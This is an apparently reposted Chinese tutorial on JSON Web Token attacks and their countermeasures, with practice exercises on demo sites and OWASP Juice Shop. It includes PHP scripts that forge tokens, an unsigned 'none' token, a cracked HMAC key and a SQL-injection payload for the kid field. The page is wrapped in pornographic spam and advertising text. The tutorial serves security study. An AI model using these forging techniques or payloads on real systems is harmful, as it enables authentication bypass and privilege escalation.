内射老阿姨1区2区3区4区_久久精品人人做人人爽电影蜜月_久久国产精品亚洲77777_99精品又大又爽又粗少妇毛片

如何深入了解JsonWebToken

本篇文章為大家展示了如何深入了解Json Web Token,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

讓客戶滿意是我們工作的目標(biāo),不斷超越客戶的期望值來自于我們對這個行業(yè)的熱愛。我們立志把好的技術(shù)通過有效、簡單的方式提供給客戶,將通過不懈努力成為客戶在信息化領(lǐng)域值得信任、有價值的長期合作伙伴,公司提供的服務(wù)項目有:國際域名空間、網(wǎng)頁空間、營銷軟件、網(wǎng)站建設(shè)、延安網(wǎng)站維護(hù)、網(wǎng)站推廣。

前言

0x00 環(huán)境準(zhǔn)備

本來想用python DRF 的 JWT做,后來各種失敗。最終嘗試了用Php,發(fā)現(xiàn)非常便利。

PHP 版本 PHP 7.2.4-1+b2 (cli),也就是kali linux自帶的php,至于composer的安裝方法,以及各個庫的使用方法在此不展開,需要的話可以自己查閱官方文檔

php jwt庫的評測

在jwt.io上有些php jwt的庫,在此說一下使用下來的感覺。只取了評分前三的庫:

firebase/php-jwt Star 3786

支持PHP5/7;

操作非常簡單,但是不具備很多功能,不是很推薦。

lcobucci/jwt Star Star 2729

支持PHP5/7;

不具備JWE的方法,操作簡單;

不具備多重JWS,JWE方法以及其對應(yīng)序列化方法。

spomky-labs/jose Star 351

僅支持 PHP 7;

功能齊全,具有多重JWE,JWS,以及其對應(yīng)序列化方法。以上兩個都不具備。

0x01 JWT 攻擊手段

JWT 的攻擊手段包括以下內(nèi)容:

參考網(wǎng)站:https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//。

1. 敏感信息泄露

當(dāng)服務(wù)端的秘鑰泄密的時候,JWT的偽造就變得非常簡單容易。對此,服務(wù)端應(yīng)該妥善保管好私鑰,以免被他人竊取。

2. 將加密方式改為'none'

下文實戰(zhàn)中的 Juice Shop JWT issue 1 便是這個問題。之前談及過nonsecure JWT的問題。

簽名算法確保惡意用戶在傳輸過程中不會修改JWT。但是標(biāo)題中的alg字段可以更改為none。一些JWT庫支持無算法,即沒有簽名算法。當(dāng)alg為none時,后端將不執(zhí)行簽名驗證。將alg更改為none后,從JWT中刪除簽名數(shù)據(jù)(僅標(biāo)題+'.'+ payload +'.')并將其提交給服務(wù)器。

解決對策:

不允許出現(xiàn) none 的方法;

將開啟 alg : none 作為一種額外的配置選項。

3.將算法RS256修改為HS256(非對稱密碼算法=>對稱密碼算法)

HS256使用密鑰來簽名和驗證每個消息。而RS256使用私鑰對消息進(jìn)行簽名并使用公鑰進(jìn)行認(rèn)證。

如果將算法從RS256更改為HS256,則后端代碼使用公鑰作為密鑰,然后使用HS256算法驗證簽名。由于攻擊者有時可以獲取公鑰,因此攻擊者可以將標(biāo)頭中的算法修改為HS256,然后使用RSA公鑰對數(shù)據(jù)進(jìn)行簽名。

此時,后端代碼就會使用RSA公鑰+HS256算法進(jìn)行簽名驗證,從而讓驗證通過。

解決對策:

不允許 HS256等對稱加密 算法讀取秘鑰。jwtpy就是限制了這種方法。當(dāng)讀取到 類似于 "--- xxx key ---" 的參數(shù)的時候應(yīng)拋出錯誤;

將秘鑰與驗證算法相互匹配。

4. HS256(對稱加密)密鑰破解

如果HS256密鑰強(qiáng)度較弱,則可以直接強(qiáng)制使用,通過爆破 HS256的秘鑰可以完成該操作。難度比較低。解決對策很簡單,使用復(fù)雜的秘鑰即可。

5. 錯誤的堆疊加密+簽名驗證假設(shè)

錯誤的堆疊加密

這種攻擊發(fā)生在單個的或者嵌套的JWE中,我們想象一個JWE如下所示:

JWT RAW

    header : ...

    payload: "admin" : false

             "uid"   : 123

             "umail" : 123@126.com

             ...

JWE Main

    protected / unprotected

    recipients:

        en_key : key1

        en_key : key2

    cipher : xxx

在攻擊者不修改秘鑰的情況下,對于ciphertext進(jìn)行修改。往往會導(dǎo)致解密的失敗。但是,即使是失敗,很多JWT的解密也是會有輸出的,在沒有附加認(rèn)證數(shù)據(jù)(ADD)的情況下更是如此。攻擊者對于ciphertext的內(nèi)容進(jìn)行修改,可能會讓其他的數(shù)據(jù)無法解密,但是只要最后輸出的payload中,有“admin":true。 其目的就已經(jīng)達(dá)到了。

解決對策:

對于JWE而言,應(yīng)當(dāng)解密所有數(shù)據(jù),而非從解密的結(jié)果中提取單個需要的數(shù)據(jù)。另外,利用附加認(rèn)證數(shù)據(jù)ADD,也是非常好的選擇。

簽名假設(shè)驗證

這種攻擊發(fā)生嵌套的JWS中。我們想象一個嵌套的JWS,其包括了兩層的部分,其結(jié)構(gòu)如下:

JWT Main

    JWT Sub1

        payload

        Signature2

    Signature

現(xiàn)在,攻擊者通過一定的方式,能夠讓外層的驗證通過的時候,此時,系統(tǒng)還應(yīng)該檢查內(nèi)層的簽名數(shù)據(jù),如果不檢查,攻擊者就可以隨意篡改payload的數(shù)據(jù),來達(dá)到越權(quán)的目的。

解決對策:

因此對于嵌套JWS而言,應(yīng)當(dāng)驗證所有層面的簽名是否正確,而非驗證最外層的簽名是否正確就足夠。

6. 無效橢圓曲線攻擊

橢圓曲線加密是一種非常安全的方式,甚至從某種程度上而言,比RSA更加安全。關(guān)于橢圓曲線的算法,在此不展開。

在橢圓曲線加密中,公鑰是橢圓曲線上的一個點(diǎn),而私鑰只是一個位于特殊但非常大的范圍內(nèi)的數(shù)字。 如果未驗證對這些操作的輸入,那攻擊者就可以進(jìn)行設(shè)計,從而恢復(fù)私鑰。

而這種攻擊已在過去中得到證實。這類攻擊被稱為無效曲線攻擊。這種攻擊比較復(fù)雜,也設(shè)計到很多的數(shù)學(xué)知識。詳細(xì)可以參考文檔:critical-vulnerability-uncovered-in-json-encryption。

解決對策:

檢查傳遞給任何公共函數(shù)的所有輸入是否有效是解決這類攻擊的關(guān)鍵點(diǎn)。驗證內(nèi)容包括公鑰是所選曲線的有效橢圓曲線點(diǎn),以及私鑰位于有效值范圍內(nèi)。

7. 替換攻擊

在這種攻擊中,攻擊者需要至少獲得兩種不同的JWT,然后攻擊者可以將令牌中的一個或者兩個用在其他的地方。

在JWT中,替換共嘰有兩種方式,我們稱他們?yōu)橄嗤邮辗焦簦缭绞絁WT)和不同接收方攻擊。

不同接收方攻擊

我們可以設(shè)想一個業(yè)務(wù)邏輯如下:

Auth 機(jī)構(gòu),有著自己的私鑰,并且給 App1 和 App2 發(fā)放了兩個公鑰,用于驗證簽名;

Attacker 利用自己的秘鑰登錄了 App1。

此時 Auth 機(jī)構(gòu)給 Attacker 下發(fā)了一個 附帶簽名的JWT,其payload內(nèi)容為:

{

    'uname':'Attacker'

    'role' :'admin'

}

此時,如果 Attacker 知道 App1 和 App2 的公鑰是同一個Auth 簽發(fā)的話,他可以利用這個JWT去登錄 App2,從而獲取Admin權(quán)限。

解決方法:

在jwt中帶上 aud 聲明,比如 aud : App1 這樣。來限定該jwt只能用于App1。

相同接收方攻擊/跨越式JWT same recipient/Cross JWT

我們可以設(shè)想一個業(yè)務(wù)邏輯如下:

在同一站點(diǎn)下,有兩個應(yīng)用程序,wordpress和phpmyadmin,他們都利用了相同的秘鑰對和算法來驗證JWT簽名;

站點(diǎn)管理員知道 Different Recipient 的問題,所以給 wordpress 的應(yīng)用增加了 aud 驗證,但是 phpmyadmin 的用戶人數(shù)較少,沒有增加 aud 的驗證;

Attacker 利用自己的秘鑰登錄了 wordpress。

此時 站點(diǎn) 給 Attacker 下發(fā)了一個 附帶簽名的JWT,其payload內(nèi)容為:

{

    'uname':'Attacker'

    'role' :'writer'

    'aud' :'shaobaobaoer.cn/wordpress'

    'iss' :'shaobaobaoer.cn'

}

這個JWT看似非常安全,但這僅僅是對于 wordpress 的應(yīng)用程序而言,。從而Attacker 可以以 writer 的身份登錄 phpmyadmin。

解決方案:

為所有子應(yīng)用程序增加 aud 的驗證

8. 其他假想的攻擊方式

JWT + SQL 注入

參考鏈接:https://github.com/greunion/ctf-write-ups/tree/master/2018-nullcon/web/400-web6。

當(dāng)解密JWT的秘鑰很多的時候,往往需要通過kid來確定使用哪個秘鑰,而keyid參數(shù)通過b64加密來保存,可以被篡改。當(dāng)keyid要通過數(shù)據(jù)庫API拿取得時候,往往就會聯(lián)想到sql 注入。

我們可以想象一下的攻擊情況:

$keyID = $token-> getKeyID();

$keyContent = sqlAPI -> fromKeyidGetKeyContent($keyID)

###

class sqlAPI():

    function fromKeyidGetKeyContent($keyID){

        $result= Query("select key_content from keyTable where key_id = '$keyID'");

        return $result['key_content']

    }

###

if($token-> verify($JWA,$keyContetn)){

    echo $flag;

}

在下列比較簡易的代碼中,通過讓數(shù)據(jù)庫返回值為我們自定義的key_content。就可以達(dá)到破解JWT的目的。

通過注入:

' union select 'easy' limit 1,1--+

即可讓秘鑰改成easy。

0x03 實戰(zhàn)練習(xí)

實戰(zhàn)練習(xí)1 敏感信息泄露

我搜到了一個demo,在線演示地址為:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php。

GitHub地址為:https://github.com/Sjord/jwtdemo/。

使用firebase/jwt寫的php-jwt的demo??梢杂脕硗瓿珊竺娴念}目。

為了達(dá)到修改jwt的目的,我會把data字段改為:

"data":{

    "hacker":"shaobaobaoer"

    }

該題目地址為:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256。

在知道github項目的情況下,我們變相知道了公鑰私鑰的地址,直接訪問:

http://demo.sjoerdlangkemper.nl/jwtdemo/private.pem

http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

可以拿到公鑰私鑰的內(nèi)容,之后,利用我們自己的jwt庫進(jìn)行加密即可。

關(guān)鍵代碼如下所示:

$keychain = new Keychain();

$sign = new Sha256();

$token = "eyJ0eXAiO...";

$token = (new Parser())->parse((string) $token);

$hacktoken = (new  Builder())

    ->setIssuer($token->getClaim('iss'))

    ->setIssuedAt($token->getClaim('iat'))

    ->setExpiration($token->getClaim('exp'))

    ->set("data",["hack"=>"shaobaobaoer"])

    ->sign($sign,$keychain->getPrivateKey('file://key_box/private.pem'))

    ->getToken();

echo $hacktoken.PHP_EOL;

var_dump($hacktoken->verify($sign,$keychain->getPublicKey('file://key_box/public.pem')));

可以看到,我們已經(jīng)更改成功。

如何深入了解Json Web Token

實戰(zhàn)練習(xí)2 Juice Shop JWT issue 1

juice shop 是一個OWASP 的 vulnerable WEB 項目,后端語言為node.js。

當(dāng)初我做的時候連jwt是什么都不知道,兩道jwt的題目就此跳過了,現(xiàn)在已經(jīng)掌握了這些概念,就可以拿出來回味一下。

關(guān)于juice shop 的大部分題解可以看OWASP juice shop 實戰(zhàn)報告。

題目描述

Forge an essentially unsigned JWT token that impersonates the (non-existing) user jwtn3d@juice-sh.op.

實戰(zhàn)過程

首先,先用萬能登錄,獲取到j(luò)wt 如下所示:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAifSwiaWF0IjoxNTM0MDYwNTM5LCJleHAiOjE1MzQwNzg1Mzl9.Jivk7Pil6wukFkShzCCaHNq7qmxegvcyD83FkbglT0uYYP0azTW2rM-FH4R8WYneTu1A5gQmUjB6VdFJh8APz5Qej_AA4RP3Q6nH-9qbytxQ5cebiEuuhRSridDxbXxuS0-oquQ0PkRtpenJ75mLJFzVROeaBWgKFNNcFIrV9hs

放到 jwt.io中去解密。可以看到數(shù)據(jù)的架構(gòu)如下所示:

如何深入了解Json Web Token

之前我們做過實驗,當(dāng)alg選擇為 none 的時候,是不用對JWT進(jìn)行簽名的,這樣的jwt也被稱為 不安全的jwt。

這道題目的思路就是修改 alg。

當(dāng)后端不限定alg的時候,這種方法就可以被利用。當(dāng)然jwt.io是不會讓你把a(bǔ)lg改成none的。你需要自己手動改:

如何深入了解Json Web Token

對頭部稍微操作一下,得到的新token如下:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJqd3RuM2RAanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwiY3JlYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIn0sImlhdCI6MTUzNDA2MDUzOSwiZXhwIjoxNTM0MDc4NTM5fQ

將新的jwt發(fā)送,可以解決這個題目:

如何深入了解Json Web Token

后面還有個jwt issue 2 ,我分解不了公鑰,按照官方文檔的做法也無從下手。做出來的可以交流一二。

實戰(zhàn)練習(xí)3  加密方式更改

那個網(wǎng)站的后端代碼是不能夠演示加密方式修改的攻擊方法的。那篇博客有些問題。這邊就給出個樣例。

后端的偽代碼應(yīng)該如下所示:

# sometimes called "decode"

verify(string token, string verificationKey){

    # returns payload if valid token, else throws an error

}

string token = $input

string verificationKey = file_get_content('rsa_pub.key')

后端代碼應(yīng)該會判斷jwt的加密方式,其實這種方法是比較局限的。首先對于一個優(yōu)秀的JWT的庫而言,RS256和SH256的認(rèn)證不會放在一起。另外,HMAC應(yīng)當(dāng)禁止公鑰作為secret。

例如:在pyjwt中,這種方法是被禁止的。會拋出錯誤。

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

大概寫了個小腳本,利用了公鑰來簽名,如下所示:

$secret = file_get_contents("./key_box/public.pem");

//var_dump($secret);

$sign = new Sha256();

$token = "eyJ0eXAiO...";

$token = (new Parser())->parse((string) $token);

$hacktoken = (new  Builder())

    ->setIssuer($token->getClaim('iss'))

    ->setIssuedAt($token->getClaim('iat'))

    ->setExpiration($token->getClaim('exp'))

    ->set("data",["hack"=>"shaobaobaoer"])

    ->sign($sign,$secret)

    ->getToken();

echo $hacktoken.PHP_EOL;

var_dump($hacktoken->verify($sign,$secret));

實戰(zhàn)練習(xí)4 HMAC秘鑰爆破

參考鏈接:https://delcoding.github.io/2018/03/jwt-bypass/。

在這道題目中,訪問web,可以返回一個jwt的字符串:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM

將它解密,可以發(fā)現(xiàn),算法是HS256,admin為flase。

{

  "alg": "HS256",

  "typ": "JWT"

}

{

  "admin": "false"

}

我們的目標(biāo)很簡單,只需要將admin轉(zhuǎn)成true就可以了。而此刻能夠做的只有爆破秘鑰了。你當(dāng)然可以寫一個小腳本來爆破秘鑰,這里推薦一個工具c-jwt cracker。

通過小工具,我們能迅速跑出秘鑰來,我的vps大概用了2m跑出了秘鑰 54l7y。

如何深入了解Json Web Token

提交JWT即可得到flag。

上述內(nèi)容就是如何深入了解Json Web Token,你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

文章標(biāo)題:如何深入了解JsonWebToken
網(wǎng)站鏈接:http://www.rwnh.cn/article8/jgpcop.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供虛擬主機(jī)、網(wǎng)頁設(shè)計公司企業(yè)建站、網(wǎng)站維護(hù)、網(wǎng)站制作微信公眾號

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設(shè)公司
玉山县| 乐亭县| 武冈市| 平凉市| 竹北市| 美姑县| 尚志市| 大理市| 河池市| 石河子市| 股票| 循化| 德钦县| 桃园县| 华安县| 高淳县| 资兴市| 嘉兴市| 政和县| 满洲里市| 台南市| 隆昌县| 井冈山市| 芦溪县| 大关县| 汤原县| 远安县| 泽库县| 吉安县| 杭锦旗| 广汉市| 伊吾县| 舒兰市| 上虞市| 莎车县| 胶州市| 乌什县| 德格县| 陈巴尔虎旗| 如东县| 龙井市|